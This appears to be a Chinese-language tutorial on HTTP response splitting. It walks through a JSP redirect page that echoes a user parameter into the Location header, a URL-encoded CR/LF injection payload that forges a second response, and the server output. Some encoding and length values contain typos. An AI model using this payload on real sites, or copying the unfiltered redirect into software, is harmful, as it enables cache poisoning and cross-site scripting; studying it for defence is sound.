<->原理簡介 http回應標頭截斷是一種新的攻擊技術,由該技術衍生了許多攻擊的方法:web cache poisoning,cross user defacement,cross –site scripting等。攻擊者利用它 可以擷取使用者的敏感資訊甚至是包含使用者名稱和密碼的認證資訊。在許多環境下都存在該攻擊的可能,Microsoft ASP ,ASP NET, IBM WEBSPHERE,比較流行的的伺服器,apache ,squid,還有瀏覽器IE6.0 SP1.
造成http回應標頭截斷漏洞的主要原因是對使用者提交的非法字元沒有進行嚴格的過濾,尤 其是CR,LF字元的輸入。攻擊者通過發送一經過精心構造的request,迫使伺服器認為其返回的資料是兩個響應,而不是常規的一個響應。當可以通過精心製作的request完全 控制第二個響應時,可以通過這樣來實現攻擊:發送兩個請求A,B。A請求包含構造資料,該請求致使伺服器返回兩個響應R1,R2,其中R2是可以通過在A中的精心構造而 完全控制的。伺服器將R1作為response返回給A,而第R2則被伺服器作為B的response而返回給了B﹙即使R2並不是伺服器自己產生的)。
Request A------------->Web Server(R1,R2)
Request B------------->Web Server (本該是R3)
Web Server(R1)------------>A
Web Server(R2)——————>B
<二>基本技術 http回應標頭截斷攻擊重點在於可以在http頭中輸入資料,構造特殊字元形成截斷。最可能的是在Location欄位,還有在Set-Cookie欄位中。執行個體:頁面/redir_lang.jsp
<%
Response.sendRedirect(“/by_lang.jsp?lang=”+request.getParameter(“lang”)); %>
當提交english作為參數時,會轉到/by_lang.jsp?lang=english,常規的響應如下:
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 12:53:28
Location: http://10.1.1.1/by_lang.jsp?lang=english
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-
12510119693;path=/ Connection:Close
……………………….略
從以上可以看到的是:輸入的參數已經提交到http頭中,這樣我們就可以構造特殊的字 符來截斷http頭,併到其後追加 一個自己構造的頭:
/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>
伺服器返回的數
HTTP/1.1 302 Moved Temporarily
Date:Wed,24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length:0
HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 1
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fir Jun 20 23:06:40 PDT
2003 271009 with
Content-Type: text/html
Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE!-12510119693;path=/
Connection:Close
說明: 1、第一個響應是302 response,2、第二個響應是自己構造的200 response, 3、(在 前序之外的資料都略掉了,其實原文是存在的,而且在實際中該段是要給與考慮的)
這樣我們就可以發送兩個請求:
1、/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%oaHTTP/1.1%20200%20OK%0d%0aContent- Type:%20text/html%0d%0a%Content-Length:%2019%0d%0a%0d%0a<html>Shazam</html>
2、/index.htm
這樣伺服器對於第一個請求返回:
HTTP/1.1 302 Moved Temporar
Date:Wed,24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length:0
對於第二個請求返回:
HTTP/1.1 200 OK
Content-Type: text/html
Content-length: 19
<html>Shamaz</html>
這樣就達到了欺騙目標伺服器的目的
<三>實際問題 實際中要實現還要考慮很多的因素,關鍵之一就是如何“分辨”出兩個兩個回應標頭的,還有url輸入過長問題,怎樣避過對一些特殊字元的過濾而進行資料注入,怎樣迫使服 務器進行緩衝等,怎樣使兩個響應恰好返回給發送的兩個請求。(這些都是些很複雜且 必須考慮的)